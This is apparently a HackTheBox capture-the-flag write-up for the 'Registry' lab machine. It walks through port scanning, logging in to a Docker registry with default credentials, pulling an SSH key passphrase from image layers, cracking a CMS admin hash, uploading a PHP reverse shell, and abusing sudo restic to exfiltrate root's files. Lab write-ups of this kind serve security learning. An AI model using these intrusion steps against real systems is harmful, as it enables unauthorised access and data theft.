Registry - HackTheBox
Let's start with the usual port scan:
$ nmap -A -T4 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 08:04 PST
Nmap scan report for 10.10.10.159
Host is up (0.057s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web server responds with the default nginx web page:
Let's run a simple discovery against it using ffuf:
$ ffuf -c -r -fc 403 -w raft-medium-files.txt -u http://10.10.10.159/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.10.159/FUZZ
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________
index.html [Status: 200, Size: 612, Words: 79, Lines: 26]
. [Status: 200, Size: 612, Words: 79, Lines: 26]
backup.php [Status: 200, Size: 0, Words: 1, Lines: 1]
$ ffuf -c -r -fc 403 -w raft-medium-directories.txt -u http://10.10.10.159/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.10.159/FUZZ
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 403
________________________________________________
install [Status: 200, Size: 1010, Words: 5, Lines: 3]
The backup.php
file size is 0, so there's no content, but the install
file
looks interesting. Let's visit it:
Looks like a binary file, let's check it's type after saving it:
$ file install
install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
Let's extract it:
$ tar -zxf install
gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error is not recoverable: exiting now
And let's check what's in it:
$ ls
ca.crt install readme.md
Here is ca.crt
:
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
And readme.md
:
# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
Another quote to registry
, let's run a discovery on the docker.registry.htb
domain found in the port scan:
$ ffuf -c -r -fc 403 -w lists/raft-small-directories.txt -u https://docker.registry.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0-git
________________________________________________
:: Method : GET
:: URL : https://docker.registry.htb/FUZZ
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________
v2 [Status: 401, Size: 87, Words: 2, Lines: 2]
/v2
is an API endpoint for a Docker registry, which is like a repository for
Docker images, so after reading the documentation, let's login to it. Trying
some random default credentials, we can login with admin:admin
:
$ docker login docker.registry.htb
Username: admin
Password:
WARNING! Your password will be stored unencrypted in /home/vagrant/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
We can list the available images with a simple http request:
$ curl https://admin:admin@docker.registry.htb/v2/_catalog
{"repositories":["bolt-image"]}
Let's use docker_fetch to fetch all the image layers:
$ ./docker_image_fetch.py -u https://admin:admin@docker.registry.htb
[+] List of Repositories:
bolt-image
Which repo would you like to download?: bolt-image
[+] Available Tags:
latest
Which tag would you like to download?: latest
Give a directory name: bolt-image
Now sit back and relax. I will download all the blobs for you in bolt-image directory.
Open the directory, unzip all the files and explore like a Boss.
[+] Downloading Blob: 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
[+] Downloading Blob: 3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
[+] Downloading Blob: 02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
[+] Downloading Blob: c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
[+] Downloading Blob: 2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
[+] Downloading Blob: a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading Blob: f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
[+] Downloading Blob: d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
[+] Downloading Blob: 8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
[+] Downloading Blob: f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
After inspecting the layers, one of the most interesting ones turns out to be
302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz
, which
contains this file:
$ cat etc/profile.d/01-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
It basically adds an encrypted ssh key to the agent upon login. After inspecting
the rest of the layers, another interesting one turns out to be
2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.tar.gz
, which
contains a en encrypted ssh key and a passwd
file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
bolt:x:1000:1000::/home/bolt:/bin/sh
Let's try to login into the machine using the ssh key that we found as bolt
user:
bolt@bolt:~$ wc -c user.txt
33 user.txt
And we're in!
Privilege escalation
The first thing that I did was to check the backup.php
file that we've
previously found while running our discovery:
bolt@bolt:/var/www/html$ cat backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
Restic is a software used for backups, and every time
that backup.php
gets visited, a backup of the bolt
directory will ben done
on backup.registry.htb
While inspecting the web server root directory, we can see the folder named
bolt
(the one from the backup), which we have not previously found while
fuzzing:
bolt@bolt:/var/www/html$ ls
backup.php bolt index.html index.nginx-debian.html install
Here is the web page:
Also, under /var/www/html/bolt/app/database/
there's bolt.db
, which contains
the hash of the admin user:
sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-10-17 14:34:52|10.10.14.2|Admin|["files://shell.php"]|1||||0||["root","everyone"]
Simply running John The Ripper against it, we can find that the password is
strawberry
.
Now, the default location of the admin panel of the Bolt web app is under
/bolt
, but given the the app was already in a folder named bolt
, we have to
visit http://10.10.10.159/bolt/bolt/
:
This is a simple CMS system. One appealing thing is the upload functionality, so the first thing that came to my mind is to upload a PHP reverse shell:
But if we try to upload one, we can see that php
is not an allowed extension:
It would be nice if we could change that setting, right? Well, luckily we can,
under Configuration -> Main configuration, we can modify the config.yml
file:
Let's add the php
extension to the allowed_file_type
option, save, and
now we can upload PHP files.
At first, I tried to get a reverse shell to my machine on 10.10.14.81
, but
after a bit of trial and error (the fact that the config.yml
file gets
resetted by a cron job every minute did not help), I managed to get one using
the bolt
ssh session on the remote matchine as www-data
user.
The first thing that I checked is which commands we can run with sudo without a
password with sudo -l
:
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
Hence the previously found command in backup.php
. Exploiting this allows us to
backup any file on the machine, since we are running the command with sudo.
We will need a rest server, which we can download
here and after compiling it, let's
copy the executable on the remote machine with scp rest-server bolt@10.10.10.159:/tmp
Let's initialize a new Restic repository, I used p4ssw0rd
as password:
bolt@bolt:/tmp$ restic init -d data
enter a password for new repository:
enter a password again:
created restic repository e22c3e433b at data
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
Now let't run the rest server:
bolt@bolt:/tmp$ ./rest-server
And let's exfiltrate the root flag:
www-data@bolt:/tmp$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/data /root/root.txt
enter password for repository: p4ssw0rd
password is correct
scan [/root/root.txt]
scanned 0 directories, 1 files in 0:00
[0:00] 100.00% 33B / 33B 1 / 1 items 0 errors ETA 0:00
duration 0:00
snapshot a082fd1b saved
And now we can recover the file:
bolt@bolt:/tmp$ restic -r rest:http://127.0.0.1:8000/repo restore e22c3e433b --target /tmp/restore/
And here's our flag!
bolt@bolt:/tmp/restore$ wc -c root.txt
33 root.txt
Another thing that we could have done is to exfiltrate the root ssh key in order to gain a shell and not only exfiltrate files.
Thanks for reading!